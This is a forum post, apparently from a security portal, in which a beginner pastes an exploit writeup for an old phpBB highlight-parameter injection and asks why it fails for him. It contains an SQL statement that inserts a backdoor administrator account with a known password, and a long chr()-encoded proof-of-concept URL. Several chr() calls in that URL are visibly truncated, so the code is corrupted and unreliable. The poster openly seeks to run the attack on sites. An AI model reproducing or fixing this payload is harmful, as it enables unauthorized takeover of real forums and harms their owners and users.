Waraxe IT Security Portal

Porsche911r101 · Beginner

Vulnerable Systems:
* phpBB versions prior to 2.0.11
* Attachmodule, all versions

Immune Systems:
* phpBB version 2.0.11

Due to decoding mishandling of the input request a malicious attacker is able to inject any type of SQL query to the back-end database server. Upon close inspection of the code is became evident that using multiple char() functions will fool phpBB and allow insertion of an SQL query.

The following SQL statement will add a user with administrative rights on the system:
INSERT INTO phpbb_users(user_id, user_active, username, user_password, user_level) VALUES ('99999', '1', 'ze3lock', 'ba3c83348bddf7b368b478ac06d3340e', '1')

And the following login credentials:
username: ze3lock
pass: thepass

Note: This query is assuming that the phpBB user table is called 'phpbb_users', which comprise most of the sites using phpBB. However, sites in which the table's name was changed will not be affected and the correct name of the table will have to be discovered before exploitation can take place.

The exploit can be run on any site using phpBB without the need to be registered. This makes it a prime target for automated scripts that insert backdoors in many sites around the web. A proof of concept HTTP query is provided below. In order to make it work, an active thread number from the forums must be substituted in, but this is relatively trivial to find.

url :

" target="_blank">http://site.com/forum/viewtopic.php?t=30&highlight=%2527%252emysql_query(chr(73)%252echr(7
%252echr(83)%252echr(69)%252echr(82)%252echr(84)%252echr(32)%252echr(73)%252echr(7
%252echr(84)%252echr(79)%252echr(32)%252echr(112)%252echr(104)%252echr(112)%252echr(9
%252echr(9%252echr(95)%252echr(117)%252echr(115)%252echr(101)%252echr(114)%252echr(115)
%252echr(40)%252echr(117)%252echr(115)%252echr(101)%252echr(114)%252echr(95)%252echr(105)
%252echr(100)%252echr(44)%252echr(117)%252echr(115)%252echr(101)%252echr(114)%252echr(95)
%252echr(97)%252echr(99)%252echr(116)%252echr(105)%252echr(118)%252echr(101)%252echr(44)
%252echr(117)%252echr(115)%252echr(101)%252echr(114)%252echr(110)%252echr(97)%252echr(109)
%252echr(101)%252echr(44)%252echr(117)%252echr(115)%252echr(101)%252echr(114)%252echr(95)
%252echr(112)%252echr(97)%252echr(115)%252echr(115)%252echr(119)%252echr(111)%252echr(114)
%252echr(100)%252echr(44)%252echr(117)%252echr(115)%252echr(101)%252echr(114)%252echr(95)
%252echr(108)%252echr(101)%252echr(118)%252echr(101)%252echr(108)%252echr(41)%252echr(32)
%252echr(86)%252echr(65)%252echr(76)%252echr(85)%252echr(69)%252echr(83)%252echr(32)
%252echr(40)%252echr(39)%252echr(57)%252echr(57)%252echr(57)%252echr(57)%252echr(57)
%252echr(39)%252echr(44)%252echr(39)%252echr(49)%252echr(39)%252echr(44)%252echr(39)
%252echr(122)%252echr(101)%252echr(51)%252echr(108)%252echr(111)%252echr(99)%252echr(107)
%252echr(39)%252echr(44)%252echr(39)%252echr(9%252echr(97)%252echr(51)%252echr(99)
%252echr(56)%252echr(51)%252echr(51)%252echr(52)%252echr(56)%252echr(9%252echr(100)
%252echr(100)%252echr(102)%252echr(55)%252echr(9%252echr(51)%252echr(54)%252echr(56)
%252echr(9%252echr(52)%252echr(55)%252echr(56)%252echr(97)%252echr(99)%252echr(4
%252echr(54)%252echr(100)%252echr(51)%252echr(51)%252echr(52)%252echr(4%252echr(101)
%252echr(39)%252echr(44)%252echr(39)%252echr(49)%252echr(39)%252echr(41))%252e%2527

Ok, when i try runninthat url in my browser, after making it all one line, it doesnt work, and ideas why?
My mate got it to work but wont tell me so he has an edge over me (and yes i did replace site.com with the full url etc)

Cheers, J

LINUX · Moderator